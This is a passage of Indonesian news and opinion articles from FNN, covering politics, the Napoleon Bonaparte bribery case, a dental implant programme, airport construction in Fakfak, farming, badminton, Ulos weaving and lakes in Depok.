kenapa Yusril harus dicopot. Tidak ada alasan yang jelas disampaikan atas pencopotannya. Yusril pun saat itu bertanya pada Jusuf Kalla (JK), Wakil Presiden, yang juga tidak bisa memberi penjelasan memuaskan. Soal copot-mencopot menteri, itu memang hak prerogatif Presiden. Seperti juga saat mengangkat seorang menteri sebagai pembantunya. Sesuka-sukanya Presiden mengangkat dan mencopotnya. Dan ini bukan cuma dialami seorang Yusril seorang. Anies Baswedan, pernah dicopot sebagai Mendikbud oleh Presiden Jokowi. Dan subhanallah saat itu Wapresnya pun JK, yang juga tidak bisa membelanya. Meski semua tahu, bahwa Anies berdekatan dengan Jokowi, itu "dibawa" oleh JK. Sebenarnya itu hal biasa, dan mestinya disikapi biasa-biasa saja. Tidak mesti berlarut mencari sebab kenapa mesti dicopot, padahal sudah menjalankan tugas dengan baik. Semua tentu punya perhitungannya sendiri. Begitu pula yang dilakukan Presiden SBY kala itu terhadap Yusril Ihza Mahendra, dan yang juga dilakukan Presiden Jokowi pada Anies Baswedan. Oh ya, saat itu Anies pun hanya ditemui Mensesneg, yang mengabarkan tentang pemberhentiannya. Padahal kala itu, ia dihubungi Mensesneg, dipanggil menghadap Presiden Jokowi ke istana. Saat itu Anies tengah memimpin rapat dengan jajaran di kementeriannya. Setelah ditelepon untuk menghadap Presiden di istana ia berangkat. Setelah mendapat kabar tentang pemberhentiannya, ia balik menemui para stafnya dan mengabarkan bahwa ia diberhentikan. Dan minta bantuan untuk pengemasan barang-barang pribadinya yang ada di ruangan kantornya. Sekali lagi, itu hal biasa, tidak perlu sampai harus dibawa pada perasaan berkepanjangan. Mengambil i'tibar dari sebuah peristiwa itu sebenarnya yang patut dikedepankan. Karena, di depan masih banyak kesempatan menanti untuk diperjuangkan. Medan juang tak sesempit daun kelor. Pragmatisme yang dibungkus dengan memori masa lalu yang belum move on tentu sebuah analisa yang tidak bisa dianggap pasti benar. Tapi setidaknya, bisa melihat value lain atas pilihan Yusril yang semata dianggap hanya pragmatisme. Tapi jika analisa itu memang demikian adanya, lalu apa beda Prof. Yusril dengan Prof. Megawati Soekarnoputri dalam menyikapi SBY, yang sampai tidak mau bertegur sapa segala. Kayaknya sih mirip... (*) *) Kolumnis

PB PDGI Dukung KIT GTI Universitas Ciptakan Lulusan Berkualitas

Jakarta, FNN - PB PDGI (Persatuan Dokter Gigi Indonesia) mendukung penyelenggaraan program Kegiatan Ilmiah Terstruktur Gigi Tiruan Implan (KIT GTI) yang dilakukan universitas demi menjaga kualitas lulusan dokter gigi untuk memberikan pelayanan optimal bagi masyarakat. “PB PDGI juga bekerja sama mendukung penyelenggaraan program KIT GTI ini, dalam rangka menjaga kualitas/mutu lulusannya dengan memantau dan bersama-sama dengan KDGI menetapkan standar pelaksanaan uji teori (CBT) dan uji praktik (OSCE) berskala nasional agar dihasilkan lulusan/dokter gigi berkualitas dan dapat memberikan pelayanan terbaik bidang gigi tiruan implan kepada masyarakat luas,” jelas Ketua PB PDGI, Dr. RM Sri Hananto Seno, drg., Sp.BM(K), MM, dalam keterangannya, Sabtu. Program KIT GTI merupakan suatu terobosan bagi seluruh dokter gigi di Indonesia karena membuka peluang para dokter gigi untuk memperluas keterampilannya dalam hal pemasangan gigi tiruan implan yang lebih menyerupai gigi asli di dalam rongga mulut. Melalui program KIT GTI di Pendidikan Berkelanjutan Ilmu Kedokteran Gigi (PBIKG), dokter gigi dapat memperoleh sertifikat yang berlaku lima tahun untuk bekerja melayani pemasangan gigi tiruan implan di masyarakat luas secara sah dan namanya juga akan tertera di dalam situs web resmi Ikatan peminatan implan Indonesia (ISID) sebagai dokter gigi yang memberikan layanan pemasangan gigi tiruan implan di Indonesia. "Seluruh dokter gigi di Indonesia berkesempatan untuk meraih peluang ini dengan mengikuti program KIT GTI di PBIKG FKG UPDM (B), dengan syarat memiliki surat tanda registrasi (STR) yang masih valid/ aktif selama pendidikan berlangsung, yaitu sekitar 6 bulan,” ujar Dekan Fakultas Kedokteran Gigi Universitas Moestopo, Prof. Dr. drg. Burhanuddin Daeng Pasiga, M.Kes. Sebagai pionir dalam pendidikan berkelanjutan bidang studi implan dental, pada 6 Maret 2021 PBIKG FKG UPDM (B) telah berpartisipasi dalam penyelenggaraan ujian skala Nasional angkatan pertama bagi dokter gigi alumni implant course sebelumnya yang lolos seleksi oleh IPKGII. Peserta uji teori (CBT) dan praktik (OSCE) yang berjumlah 37 dokter gigi dan terdaftar di PBIKG telah mengikuti ujian yang diselenggarakan secara daring/online. Hasilnya adalah tingkat kelulusan 100 persen baik untuk uji teori dan praktik. "Sebagai program dari PBIKG FKG UPDM (B), peluang ini tentu tidak hanya terbuka bagi alumni FKG UPDM (B) melainkan juga alumni dari FKG lainnya di Indonesia,” ujar Rektor Universitas Prof. Dr. Moestopo (Beragama), Prof. Dr. Rudy Harjanto, M.Sn. Para pengajar dalam program KIT GTI di PBIKG meliputi para dokter gigi spesialis yang merupakan staf dosen berpengalaman di FKG UPDM (B) dan juga para pakar implant alumni program implant course di PBIKG yang sudah terbukti merupakan praktisi-praktisi andal dan pemateri terkenal di bidang implan, baik tingkat Nasional maupun internasional. PBIKG FKG UPDM (B) merupakan unit penyelenggara pendidikan berkelanjutan Ilmu Kedokteran Gigi non gelar dengan tujuan untuk meningkatkan kemampuan profesional dokter gigi. (mth)

Bahlil Tinjau Pembangunan Bandara Siboru di Fakfak

Jakarta, FNN - Menteri Investasi/Kepala Badan Koordinasi Penanaman Modal (BKPM) Bahlil Lahadalia meninjau langsung perkembangan proyek pembangunan Bandara Siboru di Kabupaten Fakfak, Papua Barat, Jumat (24/9). Bahlil meninjau pembangunan bandara dengan Menteri Perhubungan Budi Karya Sumadi didampingi Gubernur Provinsi Papua Barat Dominggus Mandacan. Pembangunan Bandara Siboru sudah mulai direncanakan sejak 2011. Bahlil dalam keterangan tertulis di Jakarta, Sabtu,minta agar semua pihak, terutama pemerintah daerah mendukung penuh proyek pembangunan bandara baru ini agar bisa selesai tepat waktu sesuai dengan rencana yang ditetapkan. "Alhamdulillah ini sudah jalan. Saya minta Pak Bupati Fakfak, urusan-urusan rakyat tolong diselesaikan agar target tahun 2022 bandara ini sudah selesai. Dan ini anggarannya tidak main-main, membangun 1 bandara di Papua sama dengan 2 bandara di Pulau Jawa. Jadi jangan sampai kita mengecewakan Pak Menhub yang sudah susah payah memperjuangkan Bandara di Fakfak," katanya. Bahlil juga mengungkapkan apresiasinya kepada Gubernur Provinsi Papua Barat yang telah memberikan dukungan penuh dalam proyek pembangunan Bandara Siboru ini. Mantan Ketua Umum Hipmi itu mengharapkan dapat tercipta pembangunan kota baru melalui pembangunan akses jalan sebagai infrastruktur pendukung Bandara Siboru tersebut. "Saya sudah presentasi di depan Menteri Perhubungan dan Menteri Pekerjaan Umum, untuk tidak pakai jalan yang ada saat ini. Nanti akses jalan lewat atas, agar ada pembangunan kota baru. Alhamdulillah juga sudah disetujui anggarannya, nanti tahun 2022 insya Allah sudah mulai jalan. Kalau ini terbuka, baru kita bicara pariwisata dan ekonomi kerakyatan. Kalau boleh saran saya, kita dukung dulu ini agar cepat selesai," tambah Bahlil yang merupakan putra daerah asal Kabupaten Fakfak. Menteri Perhubungan Budi Karya menjelaskan penetapan lokasi Bandara Siboru merupakan hasil koordinasi intens bersama dengan Gubernur Provinsi Papua Barat dan Menteri Investasi yang juga merupakan putra daerah Kabupaten Fakfak. "Hari ini saya hadir dengan senang, apalagi Pak Presiden memerintahkan kepada kami untuk membangun Papua ini secara spartan, secara cepat. Saya minta dukungan dari warga masyarakat agar ini bisa lancar dan terima kasih kepada Pak Gubernur dan Pak Bahlil yang mendukung saya ke sini. Luar biasa dukungannya. Jadi ini putra daerah yang membanggakan," ucapnya. Menurut Budi, pembangunan Bandara Siboru dengan akses jalan langsung ke kota Fakfak, akan dapat menjadikan Fakfak sebagai kota pariwisata dan memiliki koneksi yang lancar dengan kota lain. Saat ini pembangunan Bandara Siboru sudah sekitar 30 persen, dan diharapkan di akhir 2022 sudah selesai dibangun. Gubernur Provinsi Papua Barat Dominggus Mandacan mengatakan ke depan pemerintah daerah akan mengembangkan sektor pariwisata di Kabupaten Fakfak. Lebih lanjut, Dominggus menyampaikan pemerintah provinsi dan kabupaten mendukung penuh pembangunan proyek Bandara Siboru ini. Selain itu, juga diperlukan dukungan masyarakat setempat terutama terkait dengan urusan hak ulayat. "Dengan Pak Bupati, kita sudah koordinasi. Nanti kita lihat mana yang jadi tanggung jawab Kementerian Perhubungan, mana tanggung jawab Pemerintah Provinsi dan Kabupaten. Kita akan koordinasi. Kita akan mendukung," imbuh Dominggus. (mth)

Penyelesaian Sengketa Merek dan Nama Domain Didahului Mediasi

Jakarta, FNN - Direktur Kerjasama dan Pemberdayaan Kekayaan Intelektual, Kementerian Hukum dan HAM, Daulat Pandapotan Silitonga menuturkan, penyelesaikan sengketa semisal nama merek atau nama domain internet akan terlebih dulu diupayakan di luar pengadilan atau melalui mediasi. Kementerian Hukum dan HAM sendiri memiliki Direktorat Penyidikan dan Penyelesaian Sengketa yang bertugas dalam hal ini juga memberikan bimbingan teknis di bidang penyidikan, pencegahan, dan evaluasi tindak pidana kekayaan intelektual. “Pada prinsipnya, mengupayakan dulu adanya penyelesaian sengketa di luar pengadilan sehingga kedua belah pihak bisa menyadari apa yang harus dilakukan dan secara damai mereka patuh pada hukum,” tutur dia dalam sebuah diskusi daring terkait kekayaan intelektual, Sabtu. Dalam kesempatan itu, Co-founder dan Anggota Pengelola Nama Domain Internet Indonesia (PANDI), Andi Budimansyah, mengatakan bahwa hal serupa juga berlaku khususnya untuk sengketa nama domain. PANDI yang melalui Peraturan Pemerintah No.82 tentang Penyelenggara Sistem dan Transaksi Elektronik (RPP PSTE) berwenang menangani penyelesaian prosedural nama domain. “PANDI sudah punya hukum acara bagaimana menyelesaikan nama domain, pembuatan hukum acaranya sendiri juga dibantu teman-teman dari Kemenkumham, akademisi dan praktisi. PANDI juga punya panelis-panelis. Nanti panelis yang akan bekerja, menentukan mana yang lebih berhak menggunakan nama domain tersebut,” kata Andi. Menurut dia, dalam hal penggunaan nama domain, seseorang bisa menggunakan nama domain tertentu sebelum digunakan orang lain, dengan syarat tidak merugikan hak orang lain. “Silahkan Anda ambil selama itu belum diambil orang. Tapi jangan lupa di Undang-Undang ITE ada beberapa poin yang terkait pendaftaran nama domain, salah satunya tidak merugikan hak orang lain, merugikan prinsip persaingan usaha,” ujar Andi. Pemerintah Indonesia melalui Undang-Undang No.28 Tahun 2014 tentang Hak Cipta berupaya memberikan perlindungan dan penegakan atas pelanggaran hak cipta termasuk di internet secara perdata atau pidana. (mth)

Kuat Dugaan, Karir Napoleon Sengaja Dihabisi

By Asyari Usman ADA sudut pandang lain untuk melihat kasus Irjen Napoleon Bonaparte. Di panggung depan, publik hanya memahami bahwa Bang Napo –begitu panggilan akrab Napoleon— dihukum penjara 4 tahun karena menerima sogok dari Joko Tjandra dalam urusan “red notice” (DPO) Interpol. Tetapi, ada panggung belakang yang perlu dipahami. Sebab, di panggung belakang inilah berlangsung penulisan naskah dan penyutradaraan untuk Bang Napo. Nah, dari mana kita bisa mengetahui prosesi panggung belakang itu? Bukankah publik tidak bisa mengakses panggung belakang? Memang betul. Kita tidak bisa menyaksikan hiruk-pikuk panggung belakang. Tetapi, Bang Napo pasti tahu. Sebab, dia adalah orang yang tercantum di naskah dan “digiring” oleh sutradara. Dia kenal baik dengan sutradara dan para asisten sutradara. Dia bahkan kenal dengan juru-rias dan para teknisi yang ada di panggung belakang. Drama yang disiapkan di panggung belakang itulah yang kemudian memunculkan kasus sogok “red notice”. Napoleon langsung sadar. Dia sedang dijadikan korban. Untuk dua tujuan sekaligus. Pertama, untuk menutupi kebusukan orang-orang yang berada di panggung belakang. Kedua, untuk memaklumatkan kepada publik bahwa Napoleon adalah “artis” yang kotor. Karena itu, dia tidak boleh lagi tampil. Para penonton pun percaya bahwa Napoleon orang kotor. Sebab, itulah yang tampak di panggung depan. Ditambah lagi dengan amplifikasi dari media yang berteman baik dengan, atau yang dikooptasi oleh, panggung belakang. Orang lain menyebut proses ini “office politic” (politik kantor). Intrik di lingkungan kantor. Napoleon adalah korban politik kantor. Dan ini berlangsung di mana-mana. Di kantor pemerintah maupun swasta. Ada di semua kebudayaan. Politik Kantor adalah sesuatu yang sangat manusiawi. Ciri-ciri “office politic” adalah jilat-menjilat, suka-tidak suka, nepotisme, bisik-bisik, jalan belakang, dlsb. Mengapa Napoleon menjadi korban “office politic”? Karena dia bukan perwira biasa-biasa saja, kata sumber FNN yang tak mau disebut namanya. Di mata para penyandang bintang di jajaran Polri, dia dianggap ancaman terhadap karir mereka. Karena itu, ancaman ini harus dilenyapkan. Kuat dugaan, karir Napoloeon sengaja dihabisi. Agar ancaman itu sirna. Sehingga muluslah jalan untuk orang-orang yang menjadi pemain “office politic” di Polri. Sumber FNN menambahkan, Napo memiliki kapabilitas, kapasitas dan integritas. Dia memiliki kemampuan dan karisma untuk terus naik jika semua berjalan wajar. Dia orang cerdas dan pintar. Menguasai banyak masalah dan memiliki wawasan yang mumpuni. Napoleon menguasai bahasa Inggris dengan baik. Itulah sebabnya dia ditugaskan sebagai perwira hubungan internasional. Dia juga memiliki keterampilan ekstra. Meraih predikat Dan 3 karateka dan beberapa kali menjadi juara menembak Piala Kapolri. Banyak yang takut bersaing dengan Napoleon secara fair, ujar sumber FNN. Dia memiliki berbagai kelebihan yang tak dipunyai para bintang lain di Polri. Irjen Napoleon seharusnya bisa mulus menjadi Kabareskrim. Tetapi itu tidak terjadi dengan latarbelakang yang sangat mengherankan. Namun, Pak Napo tidak ambil pusing. Dengan kecerdasan, karisma, dan karakter yang dimilikinya, Napoleon bahkan wajar naik sampai ke kursi Kapolri. Dia seangkatan dengan mantan Kapolri Idhan Aziz. Menurut pengakuan Pak Napo, dia bukan tipe jenderal yang merasa perlu mengumpulkan kekayaan. Kediaman pribadinya di kawasan Condet, kata Napo, adalah rumah terjelek di kalangan para jenderal. Seperti diungkapkan sumber FNN, Napoleon tidak masuk ke dalam gerbong para jenderal yang suka berbisnis dan berpolitik. Sebagai konsekuensinya, dia menjadi terpencil sendirian. Sangat mungkin, dia dikorbankan karena posisinya sendirian di luar gerbong. Terkait dengan masalah hukum yang dihadapinya, Napoleon bertekad keras akan melawan kezaliman terhadap dirinya. Dia menyebut dirinya dizalimi dan dikriminalisasikan. Dia konsisten menyatakan tidak pernah menerima uang sogok dari Joko Tjandra. Untuk itu, Napoleon mengatakan dia memiliki bukti krusial berupa rekaman percakapan antara dirinya, Brigjenpol Prasetijo Utomo (PU), dan Tommy Sumardi (TS). Anehnya, majelis hakim yang mengadili Napoleon menolak untuk memperdengarkan rekaman pembicaraan itu di persidangan. Tommy adalah suruhan JT dalam urusan “red notice” Interpol. Sedangkan Brigjen PU adalah orang yang menjumpakan Tommy dengan Napoleon. Kuasa hukum Napoleon, Dr Ahmad Yani SH MH, mengatakan ada sejumlah kejanggalan dalam proses penyidangan kliennya. Untuk itu, kuasa hukum telah melaporkan majelis hakim PN Jakarta Pusat ke Komisi Yudisial (KY). Saat ini sedang ditunggu langkah-langkah yang akan diambil KY.[] (Penulis wartawan senior FNN)

Pupuk Indonesia Dukung Regenerasi Petani pada Hari Tani

Jakarta, FNN - Direktur Produksi Pupuk Indonesia Bob Indiarto menegaskan komitmen perseroannya untuk mendukung regenerasi petani dan mendorong produktivitas pertanian nasional pada saat Hari Tani Nasional yang diperingati setiap 24 September. “Maka dari petani milenial inilah kita berharap, karena tanah air kita luas dan subur dan perlu dikelola oleh petani-petani muda yang potensial ini,” kata Bob dalam keterangannya yang diterima di Jakarta, Sabtu. Dalam memperingati Hari Tani Nasional 2021, PT Pupuk Indonesia (Persero) menggelar live podcast bertema “Pupuk Indonesia Menyapa Petani Nusantara”. Dalam kegiatan ini, Pupuk Indonesia melakukan panen buah naga dan talkshow bersama 240 petani muda binaan dari berbagai daerah secara virtual dari Banyuwangi, Jumat (24/9). Pupuk Indonesia mendorong regenerasi petani karena data dari berbagai sumber menyebutkan rumah tangga petani jumlahnya menurun dengan mayoritas petani telah berusia lebih dari 45 tahun. Pupuk Indonesia, lanjut Bob, terus berupaya mendorong minat generasi milenial ke sektor pertanian. Di antaranya melalui program regenerasi petani yang bertujuan untuk mendukung upaya pemerintah meningkatkan jumlah anak muda yang terjun di bidang pertanian. Salah satunya program yang dilakukan oleh anak usaha Pupuk Indonesia, yaitu Petrokimia Gresik yang rutin menggelar Jambore Petani Muda sejak tahun 2017 dengan menghadirkan mahasiswa, pelajar, serta petani muda sukses dari berbagai daerah. "Dari kegiatan tersebut, kami memotivasi anak muda agar konsisten di bidang pertanian, mendorong inovasi pertanian karya dalam negeri, mendorong iklim usaha agribisnis untuk generasi muda, membantu meningkatkan kesejahteraan petani milenial, serta menciptakan role model petani muda," ujar Bob. Salah satu role model petani muda binaan Pupuk Indonesia adalah Edi Lusi yang merupakan mantan Tenaga Kerja Indonesia (TKI) di Korea Selatan dan Taiwan kini sukses mengembangkan komoditas buah naga di Banyuwangi. Awalnya, Edi hanya menggarap lahan seluas 0,25 hektar hingga kini berhasil mengembangkannya menjadi 5 hektar. Edi juga membentuk Paguyuban Petani Buah Naga Banyuwangi (PANABA) dengan ratusan anggota yang menggarap lahan buah naga seluas 3.000 hektar lebih. Hal ini menjadikan Banyuwangi sebagai penghasil buah naga terbesar di Indonesia yang memasok ke berbagai kota hingga mancanegara. Produk olahannya pun sangat beragam, mulai dari mie, sirup, keripik, jus, dan sebagainya. "Pertanian adalah sesuatu yang menjanjikan, jangan takut jadi petani, jadilah petani yang berkreasi dan modern, dengan maksimalkan komoditas yang digeluti. Misalnya buah naga yang awalnya 0,5 kg kini dengan inovasi bisa menjadi 1 kg per buah," ujar Edi. Selain Edi, Pupuk Indonesia juga membina puluhan petani muda lainnya dari berbagai daerah. Mereka mengembangkan dan meningkatkan produktivitas dari berbagai macam komoditas pertanian dan berhasil memberikan dampak ekonomi dan sosial bagi lingkungan sekitarnya. Sementara itu, Bupati Banyuwangi Ipuk Fiestiandani menyatakan bahwa pertanian merupakan sektor yang menyumbang Produk Domestik Regional Bruto (PDRB) terbesar di Banyuwangi. Jumlah petani di Banyuwangi pun masih cukup signifikan, yaitu sekitar 126 ribu orang yang tergabung dalam 1.595 kelompok tani. Kabupaten Banyuwangi menyiapkan sejumlah program unggulan untuk menarik minat generasi milenial di bidang pertanian. “Salah satu program kami adalah Jagoan Tani, di mana kami menghadirkan sektor pertanian yang lebih modern dan terdigitalisasi,” ujar Ipuk. Jagoan Tani merupakan program kompetisi generasi milenial di bidang pertanian. Dalam program ini, pemerintah daerah Banyuwangi memberikan stimulus kepada pemenang. Seperti penyediaan lahan, hadiah dalam bentuk modal usaha pertanian, hingga menyediakan mentor dari kalangan akademisi dan praktisi. "Salah satu adalah Pak Panji, Direktur Transformasi Bisnis Pupuk Indonesia, yang telah menjadi salah satu mentor dalam program Jagoan Tani," ujar Ipuk. (mth)

Timnas Bulu Tangkis Mulai Berlatih di Arena Utama Piala Sudirman

Jakarta, FNN - Tim nasional bulu tangkis Indonesia untuk pertama kalinya mulai berlatih di Energia Areena, Vantaa Finlandia, yang akan menjadi lokasi utama turnamen beregu Piala Sudirman yang berlangsung pada 26 September-3 Oktober 2021. Sebelumnya, skuad Merah Putih berlatih di Hameenkylan Liikuntahall, Kota Vantaa, sehingga pergeseran lokasi latihan ini bermanfaat sebagai media adaptasi dan sekaligus mematangkan kemampuan mereka sebelum menghadapi pertandingan yang sebenarnya. "Sejauh ini tidak ada masalah. Mulai dari tata lampu, hembusan angin dan shuttlecock sudah kami coba semua. Lampu sudah oke, shuttlecock memang terasa berat dan untuk angin kami tunggu nanti seperti apa hembusannya di pertandingan," tutur Anthony Sinisuka Ginting dalam rilis resmi PBSI, Sabtu. Ginting berlatih bersama Jonatan Christie dan Shesar Hiren Rhustavito, dengan dipandu pelatih tunggal putra Hendry Saputra Ho. Sebelumnya, sektor tunggal putri dan ganda putri juga sempat berlatih di lapangan utama Energia Areena setelah bergantian dengan sektor lain. Bagi Apriyani Rahayu, latihan ini bermanfaat untuk adaptasi, dan ia mengaku bersyukur karena semuanya berjalan lancar meski ditemukan kekurangan pada bobot shuttlecock yang lebih berat. "Ini untuk beradaptasi dengan arena pertandingan. Kondisi saya dan Kak Greys (Greysia Polii) memang tidak prima, tapi saya selalu siap bila dipercaya turun dan saya sangat termotivasi. Semoga Indonesia mendapat hasil terbaik di Piala Sudirman," ujar Apriyani. Sementara dari lini tunggal putri, Gregoria Mariska Tunjung menyebut latihan ini terasa positif. Dia pun mengaku bisa cepat beradaptasi di arena pertandingan "Puji Tuhan, tadi sudah cukup enak latihannya. Dari saya ataupun kondisi lapangan sudah bagus. Saya juga dalam keadaan sehat dan siap bertanding," ungkap Gregoria. (mth)

Tenun Ulos Miliki Potensi Kebudayaan Hingga Ekonomi-Sosial

Jakarta, FNN - Produsen wastra tenun Ulos, PT Toba Tenun Sejahtra mengatakan bahwa kain tradisional Batak tersebut memiliki potensi kebudayaan hingga nilai ekonomi dan sosial yang tinggi terutama bagi para pengerajinnya. Founder dan CEO PT Toba Tenun Sejahtra, Kerri Na Basaria, melalui keterangannya mengatakan bahwa popularitas Ulos masih ada di bawah Batik dan Tenun Ikat Sumba untuk level nasional dan internasional. "Ulos merupakan warisan budaya bersejarah yang memiliki filosofi kehidupan mendalam dan erat kaitannya dengan keseharian masyarakat Batak," kata Kerri. "Menyadari potensi Ulos yang besar untuk dipasarkan di level nasional dan internasional, kami berupaya untuk melakukan berbagai program kerja yang mencakup antara lain pelestarian budaya, pelatihan dan pendidikan perajin, serta pengembangan komunitas dan perempuan," imbuhnya. Lebih lanjut, ia mengatakan pihaknya juga bekerja sama dengan lembaga pelatihan dan instruktur untuk membekali partonun agar dapat meningkatkan kompetensi mereka, baik dari sisi teknis maupun penciptaan desain. "Sehingga kain Ulos tidak hanya bernilai budaya tetapi juga dapat memberikan dampak secara ekonomi dan sosial, menambah kekuatan industri kreatif dan seni Indonesia," kata Kerri. Tenun memang tidak dapat dilepaskan dari peran penenun yang mayoritas adalah perempuan. Partonun (penenun) perempuan merupakan sumber daya manusia utama untuk menghasilkan tenun berkualitas. Menurut Kerri, Partonun adalah penjaga budaya yang bekerja demi kelangsungan warisan budaya, menjaga filosofi hidup orang Batak, serta kemahiran tradisional. Tenun tradisional adalah salah satu bidang di mana pengetahuan berharga diwariskan dari para ibu ke anak-anak perempuan mereka secara turun-temurun. Dan saat ini, sektor tenun tradisional ini bertahan berkat generasi perempuan muda Indonesia yang dinamis, yang memadukan kreativitas artistik dengan keterampilan bisnis. Kerri mengatakan pihaknya konsisten memberdayakan Partonun untuk dapat meningkatkan potensi dan keterampilan diri sehingga dapat semakin kuat dalam menjaga, mewariskan dan melestarikan Ulos yang berkualitas dan memiliki filosofi penuh makna. Selain memfasilitasi para partonun untuk mengikuti berbagai pelatihan dan pendidikan, ada pula dukungan dan pendampingan lewat Jabu Bonang serta memberikan solusi kepada para partonun yang memiliki banyak tantangan di lapangan seperti kurangnya akses terhadap bahan baku, rumitnya pemasaran, hingga kasus Kekerasan Dalam Rumah Tangga (KDRT) yang kerap dialami para partonun. Hingga akhir tahun 2021 sekaligus menyambut Hari Ibu Nasional, PT Toba Tenun Sejahtra akan melakukan rangkaian aktivitas untuk meningkatkan kesadaran publik terhadap warisan kain wastra nusantara, khususnya tenun dan ekosistem artisan yang terlibat dibaliknya yang didominasi oleh perempuan. (mth)

Pemkot Depok Dorong Situ Jadi Destinasi Wisata

Depok, FNN - Wakil Wali Kota Depok, Imam Budi Hartono mendorong agar situ-situ yang ada bisa dijadikan tempat daerah tujuan wisata, sehingga bisa menggerakkan ekonomi daerah sekitar. "Ke depan situ-situ akan dilakukan penambahan sarana dan prasarana seperti jogging track serta tempat untuk bersepeda. Hal ini guna menunjang wisata air di Situ Jatijajar," kata Imam Budi Hartono di Depok, Sabtu. Ia mengatakan diharapkan juga ada tempat-tempat yang bisa mendukung destinasi wisata di Situ Jatijajar. Misalnya untuk temen-temen UMKM, serta panggung budaya. "Jadi ada kegiatan di Situ yang bisa mengakomodir berbagai pihak untuk dapat melakukan aktivitas sehingga geliat ekonomi menjadi tumbuh," katanya. Untuk itu Imam mengajak warga untuk menjaga kelestarian Situ Jatijajar secara bersama-sama. Salah satunya dengan tidak membuang sampah sembarangan. "Situnya Jatijajar sudah keren banget harus kita jaga, amanin, dan sayangi, supaya terpelihara dengan baik. Jangan ada yang buang sampah sembarangan," harapnya. Ia juga mengajak warga untuk mempertahankan keberadaan 23 situ yang tersisa di Kota Depok. Sebab dari 26 situ yang ada, tiga di antaranya telah beralih fungsi menjadi perumahan. "Ini penting sekali bagi Kota Depok yang memiliki kelebihan 23 situ. Mudah-mudahan pemerintah pusat memperhatikan agar dari sisi keamanan perluasan tidak diserobot oleh oknum-oknum tertentu," jelasnya. (mth)

Pilihan Presiden Jokowi Mengarah Andika Perkasa?

Oleh: Mochamad Toha Bursa calon pengganti Panglima TNI Marsekal Hadi Tjahjanto berkutat pada tiga perwira tinggi TNI: KSAD Jenderal Andika Perkasa, KSAL Laksamana Yudo Margono, dan KSAU Marsekal Fajar Prasetyo. Pasalnya, itulah salah satu syarat untuk menduduki jabatan Panglima TNI seperti yang tercantum dalam Pasal 13 ayat (4) UU Nomor 34 Tahun 2004 tentang Tentara Nasional Indonesia (TNI). (4) Jabatan Panglima sebagaimana dimaksud pada ayat (3) dapat dijabat secara bergantian oleh Perwira Tinggi aktif dari tiap-tiap Angkatan yang sedang atau pernah menjabat sebagai Kepala Staf Angkatan. Pasal 13 ayat (3) UU Nomor 34 Tahun 2004 berbunyi: (3) Pengangkatan dan pemberhentian Panglima dilakukan berdasarkan kepentingan organisasi TNI. Meski jabatan Panglima TNI sudah dua kali dipegang matra Darat, namun ketentuan Pasal 13 ayat (4) UU Nomor 34 Tahun 2004 yang menyebutkan “dapat dijabat secara bergantian” itu menyangkut etika saja. Tidak ada keharusan atau kewajiban bahwa Panglima TNI “dapat dijabat secara bergantian”, kecuali kata “dapat” itu diganti “harus” atau “wajib”. Barulah jabatan Panglima TNI bisa dilakukan bergantian. Masa jabatan Panglima TNI Hadi Tjahjanto akan berakhir pada 8 November 2021. Coba kita tengok ke belakang. Bagaimana pergantian Panglima TNI yang terjadi beberapa tahun yang lalu. Panglima ABRI pada masa Reformasi untuk pertama kalinya dijabat oleh Laksamana Widodo Adi Sutjipto dari matra Laut. Ia diangkat oleh Presiden Abdurrahman Wahid menggantikan Wiranto pada 1999. Sebelumnya, Widodo AS menjabat Wakil Panglima ABRI pada era Presiden BJ Habibie. Jabatan Wakil Panglima kemudian diisi Jenderal Fachrul Razi. Widodo menjabat Panglima TNI dari 26 Oktober 1999 hingga 7 Juni 2002. Semasa kepemimpinan Widodo AS, terjadi pemisahan TNI dan Polri. MPR dalam Sidang Tahunan Agustus 2000 menetapkan 2 buah Ketetapan MPR, yaitu Tap MPR No. VI/MPR/2000 tentang Pemisahan TNI dan Polri serta Tap MPR No. VII/MPR/2000 tentang Peran TNI dan Polri. TNI tetap dipimpin seorang Panglima TNI, sementara Polri di bawah Kapolri yang langsung bertanggung jawab kepada Presiden. Selanjutnya, sebutan ABRI berganti menjadi TNI setelah Polri berpisah dan berdiri sendiri. Setelah menjabat panglima selama tiga tahun, Widodo AS diganti Jenderal Endriartono Sutanto dari matra Darat. Terpilihnya Endriartono Sutarto ini sebagai Panglima TNI untuk pertama kalinya melalui persetujuan DPR. Pada 28 Mei 2002, dalam Rapat Paripurna DPR secara resmi menyetujui pengangkatan Jenderal Endriartono Sutarto sebagai Panglima TNI. Pada 7 Juni 2002, ia dilantik oleh Presiden Megawati Soekarnoputri. Pada akhir masa jabatannya, Presiden Megawati mengajukan surat ke DPR pada 8 Oktober 2004 tentang pemberhentian Jenderal Endriartono Sutarto dan pengangkatan Jenderal Ryamizard Ryacudu sebagai Panglima TNI. Tapi, DPR tidak segera memproses dan menyetujui calon yang diajukan Presiden Megawati. Beberapa hari setelah Presiden Susilo Bambang Yudhoyono dilantik, ia menarik surat Presiden Megawati tentang pemberhentian Panglima TNI Jenderal Endriartono Sutarto dan pengangkatan Panglima TNI Jenderal Ryamizard Ryacudu yang telah diserahkan kepada DPR. Presiden SBY kemudian mengajukan nama KSAU Marsekal Djoko Suyanto sebagai Panglima TNI, menggantikan Endriartono Sutarto ke DPR pada 26 Oktober 2005. Setelah lebih dari setahun tidak diproses, SBY kembali mengajukan surat bernomor R07/Pres/I/2006 pada 16 Januari 2006 lagi dan mengusulkan Marsekal Djoko Suyanto sebagai calon tunggal Panglima TNI. Setelah melalui Uji Kelayakan dan DPR menyetujui pengangkatan Marsekal Djoko Suyanto sebagai Panglima TNI menggantikan Endriartono Sutarto, ia dilantik Presiden pada 13 Februari 2006 sebagai Panglima TNI. Setelah menjabat 1 tahun 10 bulan, sebelum memasuki masa pensiun, ia kemudian diganti oleh Jenderal Djoko Santoso dari matra Darat, dilantik sebagai Panglima TNI pada 28 Desember 2007. Djoko Santoso menjabat Panglima selama 2 tahun 9 bulan hingga berakhir pada 28 September 2010. Ia lantas digantikan Laksamana Agus Suhartono yang dilantik menjadi Panglima TNI. Agus Suhartono menjabat selama 3 tahun yaitu sejak 27 September 2010 hingga 4 September 2013. Ia kemudian digantikan Jenderal Moeldoko dari matra Darat. Moeldoko dilantik oleh Presiden SBY pada 30 Agustus 2013. Ia resmi melepas jabatannya pada 8 Juli 2015 di era Presiden Joko Widodo. Moeldoko menjadi Panglima TNI selama 1 tahun 10 bulan. Mengapa setelah dijabat dari matra Darat tidak digilir ke matra Udara? Kekhawatiran akan bangkitnya Neo-PKI menjadi salah satu pertimbangan Presiden 